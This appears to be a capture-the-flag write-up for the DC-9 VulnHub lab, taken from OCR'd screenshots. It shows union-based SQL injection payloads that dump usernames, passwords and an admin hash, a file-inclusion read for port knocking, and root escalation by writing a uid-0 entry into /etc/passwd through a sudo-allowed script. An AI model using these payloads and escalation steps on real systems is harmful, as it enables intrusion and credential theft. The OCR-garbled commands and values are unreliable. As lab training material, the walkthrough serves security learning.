DC-9

10 May 2022 09:21 PM

f- C G) O a 192.168.43.231/index.php Google Hacking DB Vigenere Solver - MN... LxdPrivilege Escalatio... Example.com - Staff Details Home Display All Records Search Manage Welcome to the Example.com Staff Details Page Please select an option trom the menu.

Search information You can search using either the first or last name. Search:

Search results Name: Mary Moe Position: CEO Phone No: 46478415155456 Email: marym@example.com Name: Julie Dooley Position: Human Resources Phone No: 46457131654 Email: julied@example.com Name: Fred Flintstone position: Systems Administrator Phone No: 46415323 Email: fredf@example.com Name: Barney Rubble

mary’ order by 1 – -

Home Display All Records Search Manage Search information You can search using either the first or last name. mar-y' order byl

Search results Name: Mary Moe Position: CEO Phone No: 46478415155456 Email: marym@example.com Go Back

mary’ union all select 1,2,3,4,5,6 – - mary’ union all select 1,2,3,4,@@version,6 – -

Search information You can search using either the first or last name. Search: elect -

Search results Name: Mary Moe Positiom CEO Phone No: 46478415155456 Email: marym@example.com Name: 2 3 Position: 4 Phone No: 10.3.17.ManaDB.0+deb10u1

mary’ union all select 1,2,3,4,schema_name,6 from information_schema.schemata – -

Search information can search using either the first or last name. mation_schema.schemata

Search results Name: Mary Moe position: CEO Phone No: 46478415155456 Email: marym@example.com Name: 2 3 Position: 4 Phone No: information schema Email: 6 Name: 23 Position: 4 Phone No: Staff Email: 6 Name: 2 3 Position: 4 Phone No: users Email: 6

mary’ union select all 1,2,3,4,table_name,6 from information_schema.tables – -

Search information You can search using either the first or last name. Search: 'formation schema-tables -

Phone No: INNOD8 SYS VIRTUAL Name: 2 3 Position: 4 Phone No: INNOD8 TABLESPACES SCRUBBING Email. 6 Name: 2 3 Position: 4 Phone No: INNODB SYS SEMAPHORE WAITS Email: 6 Name: 23 Position: 4 Phone No: StaffDetails Email: 6 Name: 2 3 Position: 4 Phone No: Users Email: 6 Name: 2 3 Positiom 4 Phone Use'DH:ml: Email: 6

mary’ union all select 1,2,3,4,column_name,6 FROM information_schema.columns where table_name=’UserDetails’ – -

Search results Name: 2 3 Position: 4 Phone No: id Email: 6 ID: 1 Name: 2 3 Position: 4 Phone No: firstname Email: 6 Name: 2 3 Position: 4 Phone No: lastname Email: 6 Name: 2 3 Position: 4 Phone No: username E-mail: 6 Name: 2 3 Position: 4 Phone No: password Email: 6 Name: 2 3 Position: 4 Phone No: reg_date Email: 6

mary’ union all select 1,2,3,concat(username),concat(password),6 FROM users.UserDetails – -

Search results Name: Mary Moe position: CEO Phone No: 46478415155456 Email: marym@example.com Name: 23 Position: marym Phone No: 3kfs86sfd Email: 6 Name: 2 3 Position: julied Phone No: 468stdfsd2 Email: 6 Name: 2 3 Position: tredt Phone No: 4std87std1 Email: 6 Name: 2 3 Position: barneyr Phone No: RocksOff Email: 6 ID: 1 Name: 23 Position: tomc Phone No: TC&TheBoyz Email: 6

mary’ union all select 1,2,3,concat(username),concat(password),6 FROM Users – -

Search results Name: Mary Moe Position: CEO Phone No: 46478415155456 Email: marym@example.com Name: 2 3 Position: admin Phone No: 8S6f5desgoef37314e7C3bdf6f8a66dC Email: 6

pass –>> 856f5de590ef37314e7c3bdf6f8a66dc

Enter up to 20 non-salted hashes. one per line: 856f5de590ef37314e7c3bdf6f8a66dc rm not a robot Crack Hashes LV md4. , sM2S6, 7.384. sMS12. 4.1* COW Putial

Example.com - Staff Details Home Display All Records Search Manage Login to manage records. admin Password:

Example.com - Staff Details Home Display All Records Search Manage Add Record Log Out Logged in as admin

Basically all the users that I saw earlier have access to the machine and the passwords we got might allow me to get into the machine, but from the nmap report we know that the SSH port is being filtered, this could mean that is either being restricted by IP maybe or we are dealing with “port knocking”. Taking advantage of the LFI I attempted to read a knockd.conf file if available and was able to successfully get information from such a file.

Great, now all we have to do is to knock the sequence of ports displayed from the file using nmap. Port knocking with nmap using those port numbers can be accomplished with the following command:

port knocking https://sushant747.gitbooks.io/total-oscp-guide/content/port_knocking.html

$fredfödc-9:-$ sudo -l Matching Defaults entries for fredf on dc-9: env_reset, mail_badpass, secure_path=/usr/local/sbin\: User fredf may run the following commands on dc-9: (root) NOPASSWD: /opt/devstuff/dist/test/test sudo /opt/devstuff/dist/test/test Usage: python test. py read append$

sudo /opt/devstuff/dist/test/test /etc/shadow /tmp/pass cat /tmp/pass root : $6$1 Fbb8QQt c Fwj1PZraeiOCkMqsJ4/4pnd10aio. f2føLsmy2G91 EyxJrEZvZYjmXRf JK/ : 18259 : : 99999 : 7 : : : bin games backu

kali S kali ) - C—/Desktop/ctf/vu1nhub/dc9] opens-sl passwd pass BdLRyØXAnuuCE

nano /tmp/usr fredfidc-9 sudo /opt/devstuff/dist/test/test /tmp/usr /etc/passwd su newroot Password : id gid=ø(root) groups=ø(root) rootOdc-9:/home/fredfg whoami root cat /tmp/usr • 8dLRyØXAnuuCE : 0: : new_root : /root : /bin/bash newroot . 1